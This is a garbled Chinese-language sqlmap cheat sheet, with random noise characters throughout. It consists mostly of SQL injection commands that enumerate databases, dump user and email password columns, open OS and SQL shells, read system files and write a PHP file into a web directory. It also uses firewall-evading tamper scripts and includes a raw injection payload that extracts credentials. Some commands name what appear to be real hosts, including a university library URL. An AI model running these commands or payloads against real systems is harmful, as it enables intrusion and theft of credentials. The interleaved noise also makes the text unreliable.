/pentest/database/sqlmap0 u1 E' p6 u) T& n
2 s; W, C- V& g2 T. U. X
update :::::> in the folder after execute following order : svn update
5 y2 x( d9 W% t Q% n9 e: U, W2 g( h( Q9 G* `
sqlmap.py -r 1.txt --current-db
2 q$ ~. L4 ]3 S( Z; g
7 Q, M, R/ |9 J" w. ^" |v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
6 _ \/ C- U, x- x, r
1 S; j# T% }$ k; |8 ~5 T# B==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 4 t) H" w# f; ]# o+ B1 }. Q
猜解数据库
$ K+ c; ?9 u" H7 f/ f% i./sqlmap.py -u "injection-url" --dbs
% s9 G; _9 U" l( {$ `) g0 ^sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"$ m7 i+ _& K% X! {: P$ b
& f, ~. P0 A. M% @( A$ U5 v' e猜解表名
2 h( Q t0 ^. C* ?$ Q k. g4 q./sqlmap.py -u "injection-url" -D database_name --tables
! E5 d8 g; b- W! W
" N+ b/ }6 C: X Y l \sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py" v4 @ g' u [" p: N& v
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" ! K- \. p* `- Q( G
; e: E5 N+ |9 isqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
- U. Z V# I5 \5 I: R/ R8 h& d _% E3 H7 }9 J+ g) P
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"4 N4 s' s9 a, ^ W
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"( ^( B! D, b+ a& f$ S
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
+ |# y0 T% N' o, g) t) @sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
~: G0 z( D# ?" ~1 y& J. e- [
2 b& ]" w/ R, isqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"1 P+ P/ S/ B1 I' o9 W4 K
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
' C! A# Y) `4 _: q# R. d- |( w$ \sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"$ m+ h4 B' x; X7 ^+ K3 ^; n& o
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"; p w" a- j, \" j
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
, l1 p! O1 }/ X' x; K# [
! B$ p1 e5 D+ r. g' n4 Q% ?sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了+ S* E0 G9 ?; z' Q9 o
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"7 i4 }. ]9 E: p) V4 `) s
( m) s: v6 v0 i3 i7 l) Xsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
, z7 X$ Q, q( A3 e猜解列名
4 |- e# F# r+ k5 {' i9 H./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
, [0 A. R; Q" l; ~) Z: K) b4 g# n& s2 z6 k% \. |! J' r, x
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
7 r6 K( Y* |8 vsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
0 Y, k# v: _( t/ u6 n$ Wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
! g! C" N$ ]1 l* g" v4 x$ @/ K
6 `! e! j/ s5 m) R& o" J4 i$ }sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"7 M) a9 t j% L: w" _' t
&submit=Go
/ N( g. D* x! F0 U; B% P; v6 U) b猜解值# q+ V) o) `5 t/ Q
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
: `1 y2 l2 L0 r. v7 g; C========================================================3 [( _3 w3 [$ ^4 {- L( W4 ]2 y
搜索表名中包括mana字符的
- y, ~6 @( H0 z/ |/ P/sqlmap.py -u "injection-url" -T mana --search( k% v% O" o' y& `% s
返回一个交互式sql shell* T0 ~, Z. ?$ A/ ]# I) j) d7 k, v" x
/sqlmap.py -u "injection-url" --sql-shell
7 ]/ ?3 W2 B. h @/ j( }& d# x读取指定文件(需权限)
" j, n: w1 a4 A+ Z- {4 i/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
s( F# j* g/ @$ ^% T查看当前 用户 及 数据库 " `; Q8 F3 n2 U& ?) e/ n
/sqlmap.py -u "injection-url" --current-user --current-db' y M" w. P& z$ B+ o5 n
本地文件 写入 远程目标绝对路径1 B( H# z6 i* _ o: l$ X. |; c
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
' E' u7 V4 G* ]sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
9 G' q8 I3 e+ }9 B" h% m G5 Z8 x+ L S! |# o- p7 y; M: {- m
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
: w# I0 m( R% W1 x; N; F, m查看某用的权限, y3 k$ k$ s. W5 T j, R
/sqlmap.py -u "injection-url" --privileges -U root8 ?0 k4 D4 Z/ s- y7 u6 ~ V9 ]
查看当前用户是否为dba
) q9 L0 s- `0 o- P) W/sqlmap.py -u "injection-url" --is-dba3 @9 J+ Q' T6 w9 Q' b
读取所有数据库用户或指定数据库用户的密码3 A. A+ _9 }3 E" {* S7 k! p3 o
sqlmap.py -r 1.txt --users --passwords
& n2 i7 Q& r/ C9 o1 D, U3 f gsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" # C2 ~2 Y9 j3 C" X- M6 }6 t
1 i: H4 {; q. T ~# X5 [/sqlmap.py -u "injection-url" --passwords -U root+ J: p5 a( _3 e- Z: u0 R
7 ~6 G) m% H7 I! X5 I--start&&--stop 与 --first&&--last 的区别) {" p3 Q+ |* p' u: @* t# }# E
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
0 B! _* a& M! p1 `( o; X) X7 F: p; U4 C+ v% E: Q& W3 O
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
3 F7 E, S7 |6 O$ V \/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables' }1 |. e6 G: U# R5 @* q
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns- s# Q4 J1 G# V% z5 F% d3 U
( H1 X* }- b t+ A# h- n执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
7 g# Y) I! F6 C$ c: t! ^5 x/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"$ Z3 \# k' [& w7 @
* o. ]* L/ \3 u1 l4 Y9 `/ ^1 T
|